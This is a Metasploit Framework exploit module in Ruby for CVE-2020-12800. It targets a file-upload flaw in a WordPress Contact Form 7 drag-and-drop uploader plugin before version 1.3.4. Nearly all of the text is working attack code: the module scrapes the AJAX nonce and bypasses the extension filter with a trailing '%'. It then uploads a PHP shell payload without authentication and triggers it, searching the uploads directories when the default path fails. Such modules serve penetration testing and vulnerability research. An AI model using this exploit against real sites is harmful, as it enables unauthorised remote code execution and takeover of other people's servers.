## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Drag and Drop Multi File Uploader RCE', 'Description' => %q{ This module exploits a file upload feature of Drag and Drop Multi File Upload - Contact Form 7 for versions prior to 1.3.4. The allowed file extension list can be bypassed by appending a %, allowing for php shells to be uploaded. No authentication is required for exploitation. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Austin Martin ' # original PoC, discovery ], 'References' => [ ['EDB', '48520'], ['CVE', '2020-12800'], ['URL', 'https://github.com/amartinsec/CVE-2020-12800'] ], 'Platform' => ['php'], 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => 'May 11 2020', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of Wordpress', '/']) ] ) end # recursively search uploads folder(s) to find our payload def find_payload(path, payload_name) return unless @payload_location.nil? path = normalize_uri(target_uri.path, path) print_status("Checking #{path}") res = send_request_cgi( 'uri' => path ) unless res vprint_error('Server didnt respond when attempting to trigger payload') return end if res.body.include? payload_name print_good("Found payload: #{path}#{payload_name}") @payload_location = "#{path}#{payload_name}" return end # /a href="([\w\-\/]+)"/.match(res.body) do |url| res.body.scan(%r{a href="([\w\-/]+)"}) do |url| if url[0].start_with? '/' # skip it, its the parent directory elsif url[0].end_with? '/' find_payload("#{path}#{url[0]}", payload_name) end end end def check begin return check_plugin_version_from_readme('drag-and-drop-multiple-file-upload-contact-form-7', '1.3.4', '1') rescue ::Rex::ConnectionError vprint_error('Could not connect to the web service') return CheckCode::Unknown end CheckCode::Safe end def exploit vprint_status('Getting nonce') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path) ) unless res fail_with(Failure::Unreachable, 'No server response') end if res.code != 200 fail_with(Failure::UnexpectedReply, 'Non-200 response, check targeturi') end /ajax_nonce":"(?.{10})"/ =~ res.body if nonce.nil? fail_with(Failure::UnexpectedReply, 'Nonce not found') end print_status("Nonce: #{nonce}") payload_name = "#{rand_text_alphanumeric(6..12)}.php" data = Rex::MIME::Message.new data.add_part('5242880', nil, nil, 'form-data; name="size_limit"') data.add_part('php%', nil, nil, 'form-data; name="supported_type"') data.add_part('dnd_codedropz_upload', nil, nil, 'form-data; name="action"') data.add_part('click', nil, nil, 'form-data; name="type"') data.add_part(nonce, nil, nil, 'form-data; name="security"') data.add_part(payload.encoded, 'text/plain', nil, "form-data; name='upload-file'; filename='#{payload_name}%'") # grab our valid cookie cookie = res.get_cookies vprint_status('Attempting payload upload') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) unless res fail_with(Failure::Unreachable, 'No server response') end if res.code == 403 fail_with(Failure::UnexpectedReply, '403 response, nonce detection failed') elsif res.code == 500 fail_with(Failure::UnexpectedReply, '500 response, server misconfigured, may need php-mbstring') end print_good('Payload uploaded successfully') register_file_for_cleanup(payload_name) # first we attempt to trigger the most obvious location of the payload. print_status('Attempting to trigger at well known location') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wp_dndcf7_uploads', 'wpcf7-files', payload_name) ) unless session_created? fail_with(Failure::Unreachable, 'No server response') unless res # dont need to check for 200, since that would have triggered our payload if res.code != 200 print_status('Bruteforcing for payload to trigger') find_payload(normalize_uri(target_uri.path, 'wp-content', 'uploads', '/'), payload_name) unless @payload_location fail_with(Failure::Unknown, 'Unable to determine uploaded shell path') end # lastly, if we have a location found, trigger it send_request_cgi('uri' => @payload_location) end end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Could not connect to the web service') end end